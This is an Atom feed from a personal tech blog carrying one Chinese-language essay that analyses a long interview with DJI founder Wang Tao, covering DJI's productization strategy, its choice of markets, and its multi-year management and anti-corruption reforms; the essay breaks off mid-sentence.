<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Michael L</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://www.blog-blockchain.xyz/</id>
  <link href="https://www.blog-blockchain.xyz/" rel="alternate"/>
  <link href="https://www.blog-blockchain.xyz/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Michael L</rights>
  <subtitle>Blockchain, security and Program Language</subtitle>
  <title>Logic's Tech Blog</title>
  <updated>2026-05-10T09:44:49.636Z</updated>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="career" scheme="https://www.blog-blockchain.xyz/categories/career/"/>
    <category term="思考" scheme="https://www.blog-blockchain.xyz/categories/career/%E6%80%9D%E8%80%83/"/>
    <category term="business-model" scheme="https://www.blog-blockchain.xyz/tags/business-model/"/>
    <category term="delivery-arbitrage" scheme="https://www.blog-blockchain.xyz/tags/delivery-arbitrage/"/>
    <category term="system-thinking" scheme="https://www.blog-blockchain.xyz/tags/system-thinking/"/>
    <category term="management" scheme="https://www.blog-blockchain.xyz/tags/management/"/>
    <category term="dji" scheme="https://www.blog-blockchain.xyz/tags/dji/"/>
    <content>
      <![CDATA[<blockquote><p>原访谈：<a href="https://www.latepost.com/news/dj_detail?id=3497">晚点 LatePost《和汪滔聊了 19 小时》</a></p></blockquote><blockquote><p>汪滔这次访谈最值钱的不是那句「世界蠢得不可思议，我也是」，而是他整个 19 小时一直在做同一件事：把自己从天才的位置上拽下来。<br>这篇读后按「入场 / 补课 / 过滤 / 带走」四层拆——入场讲一个有产品直觉、肯等技术拐点的普通天才怎么赚到钱；补课讲活下来之后他花 8 年才把管理从 30 分还到 65 分；过滤讲他哪些话是 CEO 真理但不是打工人真理；带走只留两条跨出 CEO 语境、对独立个体也成立的硬货。<br>比所有写满「梦想 / 颠覆 / 引领」的乔布斯传更接近可复用的版本。</p></blockquote><h2 id="1-落点">1. 落点</h2><p>汪滔十年前那张「大头照」是「世界蠢得不可思议」，这次访谈他自己加了后半句：「我也是。」整个 19 个小时的对谈都是顺着后半句走的——他把过去 20 年里所有让他骄傲的东西，一件一件拆了。拆完之后剩下的部分，才是这篇访谈真正的重量。</p><p>下面这篇读后按「入场 / 补课 / 过滤 / 带走」四层拆开——前两部分复原他的机制：入场讲他怎么赚到钱，补课讲活下来之后付了什么代价；后两部分过滤和筛选：过滤掉那些只在 CEO 语境里成立的话，带走只留真正能被独立个体抄走的硬货。</p><h2 id="2-入场：一个普通天才怎么赚到钱">2. 入场：一个普通天才怎么赚到钱</h2><p>这一部分拆的是大疆的赚钱机制——汪滔怎么从一个普通的产品直觉，一步步走到 800 亿营收 + 200 亿利润。拆成五节：他承认自己是搬运工（2.1），把搬来的东西做成产品化的消费品（2.2），选对盘子和生意类型（2.3），在选中的赛道里射中靶心（2.4），最后靠直觉定决策速度（2.5）。五节按入场的时间顺序排——先看懂自己在干嘛，再决定做什么，怎么选，选完怎么打，打的时候靠什么驱动。</p><h3 id="2-1-「我们很多人只是搬运工」">2.1 「我们很多人只是搬运工」</h3><p>访谈里破坏力最大的一句：</p><blockquote><p>「乔布斯在施乐实验室看到鼠标，第一反应是 『You are sitting on the gold mine』，然后把那套东西搬到电脑上。我们很多人只是『搬运工』，不是凭空造物的天才。」</p></blockquote><p>这话不是谦辞。把大疆的关键模块对一遍源头，每一项都能找到对应的「拿来」：</p><table><thead><tr><th>大疆做出来的东西</th><th>真正的源头</th></tr></thead><tbody><tr><td>第一台飞控</td><td>港科大毕设时直接参考 RotorMotion 的开源项目</td></tr><tr><td>多旋翼</td><td>看到极飞先做出国内第一个，才追进去</td></tr><tr><td>云台稳定</td><td>导弹上稳定雷达的思路</td></tr><tr><td>航拍这件事本身</td><td>新西兰 Photohigher 反馈「100 个云台 95 个装在多旋翼上」</td></tr></tbody></table><p>所以大疆不是发明了什么，它是把军工 / 学术 / 极客世界里散落的东西拼成了消费级产品。汪滔做到 800 亿、利润 200 多亿之后，仍然愿意把这件事说成「我们只是搬运工」，这是这个判断最有力的部分。</p><p>更狠的一刀在芯片那段。他说大疆几千万流片费就做出第一代芯片，相比之下英特尔花 20 亿美金收购才做到——他当时挺骄傲。然后这一段的结尾突然反转：</p><blockquote><p>「现在想想其实也是 enjoy 了社会培养的一批人才。」</p></blockquote><p>英特尔那 20 亿是给所有先驱的「学费」：他们用真金白银验证了哪些路是死胡同，培养出了一批懂芯片的工程师，建好了台积电这条产线。大疆几千万买到的，是这些前人付完学费、修完路、教好师资之后的「开卷考试」。这笔账拆开看：</p><table><thead><tr><th>大疆出的钱（显性）</th><th>社会先垫的钱（隐性）</th></tr></thead><tbody><tr><td>几千万流片费</td><td>英特尔等先驱用 20 亿美金买的「哪些路走不通」的教训</td></tr><tr><td>工程师当年的市场薪酬</td><td>高校几十年的半导体教育 + 行业生态培养</td></tr><tr><td>一笔代工费</td><td>台积电这类代工厂垫付的设备 / 工艺 / 良率打磨</td></tr></tbody></table><p>后发的便宜不来自聪明，来自前人已经把能走的路和走不通的路都走了一遍。这条逻辑往下走一步，就是汪滔后来反复说的「『我』字是毒药」——任何把「我搞出来的」叙事拉到极致的人，都在透支同一笔社会预付。真实世界里决定钱归谁的从来不是「我够不够努力」，是位置、结构、时机、交易效率这些不写在奋斗叙事里的东西。</p><h3 id="2-2-把极客玩具变成消费品：交付套利在哪里发生">2.2 把极客玩具变成消费品：交付套利在哪里发生</h3><p>汪滔在访谈里把「做产品对我来说难度是 1 分」当成自然事，几乎没展开讲大疆怎么真正赚到钱。把他散落各处的句子拼起来，大疆的赚钱机制完全踩在「交付套利」这条线上：</p><blockquote><p><strong>交付套利：把复杂的东西产品化、服务化、模板化卖出去。</strong></p></blockquote><p>大疆是这条定义里**「产品化」这一支做到极致**的样本——把原本只有工程师才能玩的极客玩具，压成普通人开箱即用的消费品。技术早就摆在那里，但没人愿意花时间把它做成傻瓜级，而把这件事做完的人就拿到了几百倍的市场规模。</p><p>「产品化」的降维幅度大到改变了市场本身：</p><table><thead><tr><th>原本的形态</th><th>大疆压成的形态</th><th>量级变化</th></tr></thead><tbody><tr><td>几十万的专业航拍设备，需要培训</td><td>几千块的 Mavic,开箱即飞</td><td>价格降一到两个数量级，市场规模放大几百倍</td></tr><tr><td>工业级专业云台，需要专门操作员</td><td>挂在飞机上自动稳像</td><td>操作门槛归零</td></tr><tr><td>飞机上才有的云台</td><td>Pocket 把它「抓在手里」</td><td>估市场 10 亿，做成几百亿；索尼 / 佳能 / 理光 / 富士加起来都没他多</td></tr></tbody></table><p>「产品化」不是一次性突破能完成的，它要求沿着用户的真实使用链条一坑接一坑地填。汪滔自己把这个过程叫「四渡赤水」：</p><table><thead><tr><th>步骤</th><th>痛点</th><th>填的解法</th></tr></thead><tbody><tr><td>1</td><td>飞不稳</td><td>飞行控制器（飞控）</td></tr><tr><td>2</td><td>画面晃</td><td>无刷陀螺稳定云台（最值钱的一步）</td></tr><tr><td>3</td><td>看不见</td><td>远距离图像传输（图传）</td></tr><tr><td>4</td><td>没信号 / 易撞</td><td>视觉避障 + 视觉悬停</td></tr><tr><td>5</td><td>拍出来要好看</td><td>把相机塞进去，闭环</td></tr></tbody></table><p>每填一个坑，对手就被甩一截。等所有坑都填平，对手再也追不上。最后一刀是性能 / 成本双杀——汪滔原话「<strong>保证每一代产品都更好的同时，让成本下降、毛利稳定</strong>」。技术领先享有定价权，规模量产压低零件成本，结果是性能碾压 + 价格更低 + 毛利还高，对手怎么打都死。</p><p>把大疆这套样本和「交付套利」三化对齐看，能看到它走通了哪一支、又留下哪两支没有验证：</p><table><thead><tr><th>三化</th><th>含义</th><th>大疆是不是走通了</th></tr></thead><tbody><tr><td>产品化</td><td>把复杂技术压成开箱即用的消费品</td><td>走通到极致——这就是它全部赚钱密码</td></tr><tr><td>服务化</td><td>把复杂能力变成可订阅、可复购的服务交付</td><td>没走，硬件公司本来也不在这条上</td></tr><tr><td>模板化</td><td>把交付动作沉淀成 SOP / 模板 / 培训 / 加盟</td><td>内部已沉淀（管理 SOP），但没对外卖</td></tr></tbody></table><p>这套机制的真正护城河不是任何单一技术专利，是「<strong>把复杂东西做成傻瓜级 + 一坑接一坑填到底</strong>」这件事本身的工程化耐心。它需要的不是创新，是肯做枯燥重复劳动的人——而这种人在「能做 demo 的人很多、能稳定交付的人很少」的 AI 时代，正是最稀缺的。</p><p>对个体而言，硬件级别的「产品化」门槛太高（要供应链、要工厂、要资本），但「<strong>服务化 + 模板化</strong>」反而是 AI / Web3 场景下更可能跑通的两支：把链上调研、安全审计、跨境合规、Agent 工作流这种原本极客内部传授的能力，做成 ToB 可订阅的服务，再把交付沉淀成模板对外输出。这才是同一套交付套利逻辑在比特生意里的形态。</p><h3 id="2-3-选对盘子：100-亿池塘-原子-vs-比特">2.3 选对盘子：100 亿池塘 + 原子 vs 比特</h3><p>选盘子有两个维度，汪滔的判断都反直觉：一是<strong>大小</strong>，他选「没大到让大厂眼红」的 100 亿盘子；二是<strong>类型</strong>，他点破了原子生意（硬件）和比特生意（互联网）在管理容错率上的本质差异。两个维度合在一起，才构成大疆卡位的完整答案。</p><h4 id="2-3-1-大小：100-亿的盘子刚好没人眼红">2.3.1 大小：100 亿的盘子刚好没人眼红</h4><p>访谈里有一段反直觉的卡位判断：</p><blockquote><p>「消费无人机这市场『不大不小』。<strong>没大到让大厂眼红冲进来——也就 100 多亿的盘子</strong>，同时它有一定体量、也有深度。」</p></blockquote><p>主流创业故事讲的都是「找一个万亿赛道」。汪滔给出的是相反的逻辑——配上他另一句「这个世界有一些规则是惩罚『过大的东西』，大而不强是很惨的」，这套卡位逻辑可以拆成几个反常识判断：</p><table><thead><tr><th>判断</th><th>背后的结构</th></tr></thead><tbody><tr><td>不去造车</td><td>「2016 年造车我们会死得很难看」「我没人可甩」——交付能力不够</td></tr><tr><td>不无限扩</td><td>「至少还能再大个 50%」「宁可稳健一点，把增长留给以后」——保住卡位的可持续性</td></tr><tr><td>选 100 亿不选 1000 亿</td><td>大厂的注意力门槛保护了他——这是结构性护城河，不是产品护城河</td></tr><tr><td>Pocket 3 估错市场仍然赢</td><td>原以为 10 亿，做成几百亿，索尼/佳能/理光/富士加起来都没他多</td></tr></tbody></table><p>这就是卡位的精髓：护城河不一定是「我比谁强」，可以是「我卡的这个位置别人懒得来」。Pocket 3 这件事最能说明问题——汪滔一开始把它估成 10 亿盘子，做出来卖到几百亿。<strong>做对了卡位，市场会自己长大</strong>，不需要一开始就预判规模。</p><h4 id="2-3-2-类型：用错引擎会立刻撞墙">2.3.2 类型：用错引擎会立刻撞墙</h4><p>访谈里很容易被忽略的一段，是他对「脱离地心引力」这个互联网行话的冷酷点破：</p><blockquote><p>「互联网公司有时候能这么搞，<strong>它有网络效应，可以用 30 分的草台班子管很久</strong>……但硬件公司没有这样的空间，很快会挂掉。」</p></blockquote><p>后面那句更狠：「<strong>草台班子的管法有个特点：到了一定规模，管理水平会回退，你做到过 50 分，可能回退到 20 分。</strong>」原因是组织复杂性是指数增长的——100 人的 50 分玩法，搬到 5000 人就是 20 分的灾难。</p><p>这一段值钱的地方是它给了一把判断生意类型的尺子：</p><table><thead><tr><th>维度</th><th>比特生意（互联网）</th><th>原子生意（硬件）</th></tr></thead><tbody><tr><td>边际成本</td><td>趋近于 0</td><td>每件产品都要付物料</td></tr><tr><td>护城河</td><td>网络效应 = 用户被锁死</td><td>供应链效率 + 品控 + 专利</td></tr><tr><td>管理容错率</td><td>极高，30 分管理也能跑</td><td>极低，30 分立刻成本失控 + 召回破产</td></tr><tr><td>业绩崩溃机制</td><td>极慢（用户惯性顶住）</td><td>极快（对手降价 20% 就能截胡）</td></tr></tbody></table><p>两种引擎不能混用。用互联网的「先冲增长再优化」做硬件型业务，会被成本和品控吃掉；用硬件的「先把流程铺完再上线」做互联网型业务，会被快速迭代的对手卡位卡死。</p><p>候选业务对照这把尺子，结果一清二楚：</p><table><thead><tr><th>候选业务</th><th>更接近哪一边</th><th>对管理的要求</th></tr></thead><tbody><tr><td>自家 AI Agent SaaS</td><td>比特生意（接近互联网）</td><td>早期可以草台班子，关键是抢卡位和用户锁定</td></tr><tr><td>链上安全审计 / 报告订阅</td><td>原子生意（接近硬件）</td><td>必须从第一单开始就把交付 SOP / 售后 / 责任建起来</td></tr><tr><td>数字游民启动包</td><td>半原子半比特</td><td>要预付 + 标准化 + 群组沉淀</td></tr></tbody></table><h3 id="2-4-射中靶心：浪漫-×-确定-「一旦做就做第一」">2.4 射中靶心：浪漫 × 确定 + 「一旦做就做第一」</h3><p>汪滔在访谈里把整套大疆产品观浓缩成两句话。第一句讲怎么挑靶心：</p><blockquote><p>「我觉得企业要追求浪漫性和确定性的某种平衡。<strong>好的东西都是中庸的，中庸就是不左不右、不上不下，它不是妥协的选择，而是精密的能力——弓箭射中靶心才是最高水平。</strong>」</p></blockquote><p>第二句讲挑完之后怎么打：</p><blockquote><p>「<strong>我擅长满足一个群体的爱好，然后做到无人可及。我们做一件事很谨慎，但一旦决定做，就要做第一。</strong>」</p></blockquote><p>合起来是一套两段式的产品策略：先用一套苛刻的筛选条件找到唯一正确的位置，再用饱和资源把这个位置打到对手追不上来。两段都有反直觉的部分，分别拆。</p><h4 id="2-4-1-第一段：「中庸」不是各退一步，是把两个极端同时拉满之后还能对接">2.4.1 第一段：「中庸」不是各退一步，是把两个极端同时拉满之后还能对接</h4><p>「中庸」在日常语境里基本上等同于「和稀泥」「不出错」「不冒头」。汪滔特意点破——他说的中庸不是这套妥协逻辑，而是<strong>两个完全相反的极端必须同时出现，且必须严丝合缝地咬在一起</strong>：</p><table><thead><tr><th>维度</th><th>浪漫性</th><th>确定性</th></tr></thead><tbody><tr><td>内容</td><td>极客气质、艺术家审美、不计成本的酷感</td><td>BOM 成本、量产良率、毛利、供应链稳定性</td></tr><tr><td>拉满后的失败模式</td><td>做出无法量产的艺术品，烧钱破产</td><td>做出无聊的电子垃圾，沦为代工厂</td></tr><tr><td>检验时刻</td><td>用户看到的第一秒是否被打动</td><td>第十万台、第一百万台还能不能稳定交付</td></tr></tbody></table><p>一家普通公司做产品的真实剧本是这样的：研发想加一个炫酷功能（浪漫），财务说太贵了（确定），双方各砍一刀达成妥协——结果产品既没那么酷、毛利也没真省下来，做成一个谁也不爱的随大流货。这就是汪滔反感的「妥协式中庸」。</p><p>他要的中庸是反过来的：浪漫这一侧不许打折，确定这一侧也不许打折，<strong>两个极端同时存在的那个点才叫靶心</strong>。Pocket 3 是最好的样本——同事提的口红形状、翻转屏、Zippo 打火机一样啪一下的手感，浪漫拉满；同时几百万台量产、对索尼/佳能/理光/富士价格碾压、毛利稳定，确定也拉满。这不是各退一步退出来的，是用极重的工程能力硬把两端同时撑住。</p><p>汪滔用的是「靶心」这个词——<strong>真正的靶心非常窄，偏一点就脱靶</strong>。能射中的人少不是因为他们妥协得更好，而是因为他们的工程能力足够把两端都顶到极限还能同时站住。</p><p>汪滔给这套靶心逻辑写过一条更底层的公式——「<strong>平均智慧不值钱、只有比平均高的 delta 才值钱</strong>」。意思是说，行业的平均解法（不管多聪明），是共识，共识不赚钱；真正赚钱的部分，是你在平均之上多出来的那一段差距。这条公式放在靶心的语境里就能解释为什么「各退一步的妥协」不赚钱——它落在平均水平上，delta 为零；而浪漫 × 确定同时拉满的那个靶心点，delta 才够大，才够窄，才配得上「做第一」的资源投入。大疆的每一次「别人做不到但我能做到」本质上都是在兑现这个 delta——Pocket 3 的口红形状 + 几百万台量产同时成立，是「浪漫的 delta」；飞控 + 云台 + 图传 + 避障一坑接一坑填完，是「确定的 delta」。靶心不是一个位置，是<strong>两种 delta 同时达到行业平均之上且能咬合</strong>的那个极窄的重合区。</p><h4 id="2-4-2-第二段：「一旦做就做第一」是赢者通吃，不是争前三">2.4.2 第二段：「一旦做就做第一」是赢者通吃，不是争前三</h4><p>第二句话表面是激励语，拆开看其实是一条非常硬的资源分配规则。它包含三层递进，缺一层都不成立：</p><table><thead><tr><th>层级</th><th>关键词</th><th>落到执行上</th></tr></thead><tbody><tr><td>1. 入场前</td><td>谨慎</td><td>没把握的赛道一概不碰——「2016 年造车我们会死得很难看」就是这样不碰的</td></tr><tr><td>2. 入场后</td><td>满足一个群体</td><td>先压向最挑剔的极客 / 摄影师 / 车手——把窄带做到无人可及</td></tr><tr><td>3. 终局</td><td>做第一</td><td>不是第二、不是前三，是清场——让对手连喝汤的份都没有</td></tr></tbody></table><p>这三层是互相约束的。「谨慎」是为「做第一」服务的——只有把入场率压低到极低，才有足够的资源把每一个进场的赛道打到第一；如果什么都做，每个赛道分到的资源都只剩 30%，自然每个都做不到第一。反过来「做第一」也在反向约束「谨慎」——一个赛道你最好的工程能力进场也只能做到第三，那它就不是你的赛道，应当从入场清单上划掉。</p><p>这条规则对应的是赢者通吃市场的物理规律。在硬件 + 消费品的世界里，<strong>第一名拿走 60–80% 的利润，第二名挣扎求生，第三名以后基本没价值</strong>。所以一个赛道要么不进，要进就把资源全压上、把第一拿下来；这比做十个第三名加起来都赚得多。汪滔后面对照「不去造车」「不无限扩」「Pocket 3 把整个便携相机品类清场」这几条卡位决策，本质上是同一条规则的不同切片。</p><p>全景相机是「谨慎」这一层最完整的样本。汪滔第一次看到全景相机，是接近十年前在日本相机展上理光的产品。他当时没进，但他没有说「技术不成熟」这种模糊判断——他精确识别出了两个具体瓶颈：分辨率不够、拼接处始终有瑕疵。这两个瓶颈不是大疆的问题，是整个行业的问题，等别人解决就行。等到「感觉是时候了」，才入场。</p><p>这和「不去造车」是同一套逻辑的两面：造车是「我没人可甩」（交付能力不够，连「能不能做到第一」这一关都过不了）；全景相机是「技术还没到拐点」（能做第一，但产品形态还做不成熟）。两者都是「谨慎」，但谨慎的理由完全不同——前者是能力边界，后者是时机判断。这也是「搬运工」逻辑的时间维度展开：真正的搬运不是随机抄，是知道要等什么信号、等到哪个拐点才算到位。</p><h4 id="2-4-3-把两段合起来：选品的两道筛子">2.4.3 把两段合起来：选品的两道筛子</h4><p>把两句话合在一起，就是一套两道筛子的选品流程——第一道筛入场资格，第二道筛产品形态：</p><table><thead><tr><th>筛子</th><th>问题</th><th>不合格的样子</th><th>合格的样子</th></tr></thead><tbody><tr><td>第一道（入场资格）</td><td>这个赛道我能不能做到第一？</td><td>只能做到第二、第三 → 不进</td><td>工程能力可以降维打击 → 进</td></tr><tr><td>第二道（产品形态）</td><td>浪漫和确定能不能同时拉满？</td><td>必须二选一 → 砍掉这个 SKU</td><td>两边都能撑住 → 启动</td></tr></tbody></table><p>两道都通过的产品才会被启动，启动之后就把全部资源压上去做到第一。这是一个极度反「机会主义」的选品系统——它放弃了「先占个坑、做着试试」的所有诱惑，强迫资源集中在那些既「值得做」又「能做到极致」的少数靶心上。它和前面「100 亿的池塘」「用错引擎会立刻撞墙」共同组成大疆的卡位三件套：选对盘子大小（不大不小）、选对生意类型（原子还是比特）、选对靶心精度（浪漫 × 确定 + 第一）。</p><h4 id="2-4-4-落到自己身上：选事情用得上同一套筛子">2.4.4 落到自己身上：选事情用得上同一套筛子</h4><p>这套筛选规则放到个人选事情上一样成立。把第一道「能不能做到第一」翻译成「我能不能在这件事上做到比我现在所在圈子里任何人都好」；把第二道「浪漫 × 确定」翻译成「我是否同时享受过程（浪漫）+ 它的产出能否被市场客观验证（确定）」。两个条件同时通过的事情，才是值得 all in 的事情；只满足其中一项的，要么是自嗨（只浪漫不确定），要么是为钱熬日子（只确定不浪漫），都不是真正的靶心。</p><p>最值钱的提示是这一句：<strong>「中庸」不是放弃极端，而是把两个相反极端都做到位之后再让它们同时成立</strong>。日常生活里大多数选择失败的原因不是太极端，恰恰是太松——浪漫和确定都没拉满，靠中段的灰度过日子，结果哪一头都没立起来。</p><h3 id="2-5-势头与天赋：直觉如母语，分析如翻译">2.5 势头与天赋：直觉如母语，分析如翻译</h3><p>访谈里关于产品判断有一段独立成立的描述：</p><blockquote><p>「产品判断有点像神经网络：有人靠直觉就能感受，像说母语一样顺；有人没那种感觉，得先在脑子里『翻译』，做各种分析，难免隔靴搔痒。<strong>好的 idea/设计一定是不纠结的，你看到它，内心是舒畅的，那八成就是对的。</strong>」</p></blockquote><p>这里给出的是一条元规则：天赋 = 大脑神经网络对大量好作品的高效模式识别；势头 = 心流被保护时的状态。<strong>逻辑是用来兜底防错的，不是用来生成创意的</strong>。强行打断心流去做「理性分析」，反而会把直觉本身废掉。</p><p>这条规则对任何创造性决策都成立——产品、写作、判断生意机会都一样。它和前面几节的结构性判断不矛盾：结构判断决定方向，势头决定执行速度。两者相加才是完整的决策。</p><h2 id="3-补课：八年还债的代价">3. 补课：八年还债的代价</h2><p>入场之后付什么代价？这一部分拆汪滔 8 年把管理从 30 分还到 65 分的全过程——山头怎么长出来又怎么被收掉（3.1）、早期骨干为什么必然离开（3.2）、模板化之后对手复制过去（3.3）、从防守型切到活水型的招聘观（3.4）、以「创新」为名的寻租叙事（3.5）、最后托住整个组织的两条硬约束（3.6）。这六节的共同点是：每一条都是汪滔不想付但必须付的代价，付不起的公司就在 5 年红利期过去之后归零。</p><h3 id="3-1-叶片、山头与把空气抽干">3.1 叶片、山头与把空气抽干</h3><p>汪滔讲得最重的一句是：</p><blockquote><p>「做产品对我来说难度是 1 分，管理大概是 10 分。」</p></blockquote><p>他用 8 年把管理从 30 分抬到 65 分。期间发生过的事情几乎可以当组织行为学反面案例库读：</p><table><thead><tr><th>事件</th><th>细节</th></tr></thead><tbody><tr><td>2017 年前的市场部</td><td>拍 Mavic Air 一代广告花 900 万去南非，「ROI 不用算、目标不用定」，成片很一般</td></tr><tr><td>2018 反腐查到的供应链</td><td>「东西普遍买贵 25% 左右」</td></tr><tr><td>研发关键嫌疑人的上级</td><td>第一反应是「你可不能冤枉人，他是早期员工、股东」</td></tr><tr><td>想找人接手研发管理</td><td>「到处找不到人」</td></tr><tr><td>2019 年反腐通报</td><td>损失超 10 亿，处理 45 人，16 人移交司法</td></tr></tbody></table><p>这些事并存于同一段时间。汪滔自己复盘里那句最锋利：</p><blockquote><p>「每个人都想做光鲜亮丽的叶片，没人想成为沉默的树枝与树干。」</p></blockquote><p>做产品、搞创新是顺人性的，名利双收；做管理、定规则是反人性的，得罪人、不直接产出利润、出事才能被看见。天才云集的公司里，所有人本能往叶片挤，根系没人养。叶片越茂盛，底下越虚——这就是「沙滩上的城堡」。汪滔在公司论坛发过帖警告这件事，又加了一句：「<strong>我想让大家有危机感，但有多少人 care 呢？</strong>」业绩还在狂奔的时候，没有人在乎你说公司快塌了。</p><p>「叶片底下没人养」这个隐喻在大疆的实际形态有个具体名字，他在另一段更细的复盘里点穿了：</p><blockquote><p>「很多团队都会经历一个阶段：前线很猛，但内部长出各自为政的小山头，最后变成两套系统并行——一套是分封出去的『藩属国』，一套是内部听指挥的团队。这事是个两难：你要把山头收回来，士气受影响；你不收，组织迟早会卡住——这就是我们当年面临的困境。」</p></blockquote><p>先澄清一件事：<strong>山头本身是中性的</strong>。拆开看，「山头」= 下属拥有老板看不穿的独立决策空间——换一套词就是授权、去中心化、信任员工，早期 Netflix 和 Valve 把这种结构做成了生产力来源。汪滔恨的不是「控制权不够」这个状态本身，是**「控制权不够 + 下属利用这个真空去寻租」**这个组合。他在访谈里指认的每一件事——采购贵 25%、损失超 10 亿、早期员工包庇下属——都是寻租，不是授权。文章这一节继承了他的视角，但你读的时候要自己把两者拆开：山头 + 寻租 = 病灶；山头 + 不寻租 = 生产力。不加区分地把所有「控制权不够」都当成病，是 CEO 被咬过之后留下的应激反应。</p><p>把山头看成「员工坏了」是最廉价、也是最错的解释。山头之所以一定会长出来，是因为它和「前线很猛」共享同一套形成机制——<strong>山头不是冲劲的副产品，山头就是冲劲长大之后的形态</strong>：</p><table><thead><tr><th>公司给前线的特权</th><th>这套特权顺便也喂出了山头</th></tr></thead><tbody><tr><td>高度授权（不报批就能下决策）</td><td>部门内部决策不透明</td></tr><tr><td>高度信任（不打卡、不汇报）</td><td>老板对实际细节失明</td></tr><tr><td>重赏首功（早期员工拿大量股份和实权）</td><td>这批人变成不可触碰的既得利益群体</td></tr><tr><td>独立战斗权（一个事业部从研发到供应链全包）</td><td>自然形成「采购 + 研发 + 销售」内部闭环 + 关联交易空间</td></tr></tbody></table><p>回头看上面那张反面案例表——「东西普遍买贵 25%」「损失超 10 亿」背后不是几个人贪心，是这个闭环形成之后老板在信息和权力上根本看不穿；「研发关键嫌疑人的上级第一反应是你可不能冤枉人，他是早期员工、股东」恰恰是山头形成的最高警报——当组织开始用「他是早期员工」来对抗问责，问责机制已经死了一半。</p><p>更尖锐的是山头主的人物画像。把他们当贪官看是干净但不准确的简化——汪滔复盘里几乎每一个被处理掉的老山头，原本都是公司最能打的那批人之一。他们身上的特质几乎是同一组：</p><table><thead><tr><th>让他们变成英雄的特质</th><th>同时让他们变成山头主的特质</th></tr></thead><tbody><tr><td>极强的执行力 + 不等指示就行动</td><td>不接受外部审查 + 把流程当障碍</td></tr><tr><td>全栈视野（既懂研发又懂供应链）</td><td>容易把全栈视野变成关联交易闭环</td></tr><tr><td>高度自利（赚钱欲望强，能熬深夜）</td><td>把公司资源默认为可挪用的私人资源</td></tr><tr><td>早期承担过巨大风险</td><td>用「我当年功劳」对抗后来一切问责</td></tr></tbody></table><p>这两栏是同一个人。<strong>早期最能打的员工，几乎注定就是后期最难治理的山头主</strong>——差别只在他们的人品决定了右栏会被压制还是被释放。汪滔后面讲股权那段举的反例就是这种人——技术好分了 2%，反而觉得「<strong>伤害了我的感情</strong>」最后被外面挖走。CEO 在山头问题上不可能找到「干净的解法」，只能找「损伤更小的解法」。</p><p>明白了山头是「冲劲长大」的必然形态，「收 vs 不收」这道两难题就能算清账了——它表面是个静态选择题，其实是一道时间维度极不对称的复利题：</p><table><thead><tr><th>选项</th><th>短期代价</th><th>长期代价</th></tr></thead><tbody><tr><td>收山头</td><td>前线士气下降一阵、走一批人、KPI 短期掉一截</td><td>组织能力可叠加、新陈代谢恢复、抗对手能力增强</td></tr><tr><td>不收</td><td>业绩还在跑，山头主满意，老板暂时不用得罪人</td><td>系统性贪腐 + 信息黑箱 + 大厂一波竞争就崩</td></tr></tbody></table><p>短期代价大但有边界、可计量、能恢复；长期代价无边界、不可计量、且不可逆。CEO 真正纠结的不是数学，是政治勇气：<strong>要在短期账面上承担一次明确的下滑，去换一个看不见的、要 3–5 年后才会兑现的好处</strong>。绝大多数 CEO 败在这一步，不是想不通账，是不愿意自己去当那个主动把局面搞难看的人。</p><p>为什么补管理课要花 8 年？汪滔在另一处给了机制层面的解释：</p><blockquote><p>「组织要适配能力，而能力的增长是缓慢的，但调完组织后能力会有所增长，过了一段时间，能力可以去支撑一个更好的组织形态，那就再变。」</p></blockquote><p>也就是说，组织和能力之间是螺旋上升的关系，不可能一步到位——你按团队当下的真实能力搭一套架构，团队在这套架构里被倒逼着长出新能力，等能力支撑得住下一阶段的架构，再把旧架构拆了重搭。大疆「频繁调整组织架构、拆了搭、搭了拆」不是瞎折腾，是一级一级抬升：每一级大概需要两到三年，所以 30 分到 65 分用了 8 年。</p><p>汪滔在访谈里给出了一个更精确的阈值，他把它叫做「管理的第一宇宙速度」：</p><blockquote><p>「CEO 的主要职责，是牢牢把握战略方向与文化根基，其他事务只需投入较少精力，组织也能有效运转；组织能『净产出』高级管理者，不但够自己用，还能向外输出。」</p></blockquote><p>这个临界点大约在 70 分。从 30 分到 65 分是大疆走了 8 年的路；65 分到 70 分是下一段，但难度不是线性的——他的原话是「70 分的管理水平，是 50 分的十倍难度」。从四五十分到 70 分，中间有一道巨大的鸿沟，99.9% 的公司都跨不过去；一旦越过，从 70 分走到 90 分反而是大概率事件。这条阈值逻辑解释了为什么大疆 8 年补课的终点不是「管理好了」，而是「刚刚够格开始真正的管理」——65 分只是脱离了草台班子的危险区，还没到组织能自我驱动的临界点。</p><p>这条机制和山头规律叠在一起还能解释另一件事——山头是组织规模 × 时间的复利函数，规模越大山头越深，所以反腐既不能等到最后再做，也不能在能力还没起来的时候硬来：</p><table><thead><tr><th>维度</th><th>100 人公司</th><th>1000 人公司</th><th>6000 人公司</th></tr></thead><tbody><tr><td>老板能直接看见的细节</td><td>80%</td><td>20%</td><td>不到 5%</td></tr><tr><td>中层独立决策权</td><td>几乎没有</td><td>必须授权</td><td>必须深度授权</td></tr><tr><td>关联交易的隐藏空间</td><td>几乎为零</td><td>中等</td><td>巨大</td></tr><tr><td>内部小生态形成速度</td><td>慢</td><td>中等</td><td>极快，且自我加固</td></tr></tbody></table><p>公司每翻一倍体量，山头的形成速度和隐藏深度都不只翻一倍。这就是为什么汪滔 8 年大部分时间不是在打山头，是在搭一个<strong>让山头形成成本变高、暴露成本变低</strong>的底层信息系统——这才是反腐能成立的前提。</p><p>汪滔自己也承认走过弯路——他第一次反腐时把反腐和组织架构调整一起搞，触及了整个研发层，搞得人人自危。后来他想清楚的正确顺序：</p><table><thead><tr><th>步</th><th>动作</th><th>目的</th></tr></thead><tbody><tr><td>1</td><td>引入增量：先招新人换血</td><td>手里有底牌，不被旧山头要挟</td></tr><tr><td>2</td><td>重构流程：把研发对供应商的最终决策权剥离</td><td>釜底抽薪，权力分散，山头自然失血</td></tr><tr><td>3</td><td>削藩：调整组织架构，让旧山头无地可割</td><td>物理隔离老问题</td></tr><tr><td>4</td><td>精准打击：择机清理腐败</td><td>阻力最小、对业务伤害最小</td></tr></tbody></table><p>这四步不是技巧，是一套<strong>让短期代价可控、把不可逆的损伤控制到最小</strong>的节奏管理。如果四步全部并行做，组织会休克；只有按节奏推，才能在不让公司翻车的前提下完成换血。</p><p>更深的认知升级是从「审判人」转向「修补环境」。他打了个比方：</p><blockquote><p>「农民在打谷子，鸟飞下来叼几口，鸟其实连『偷』的概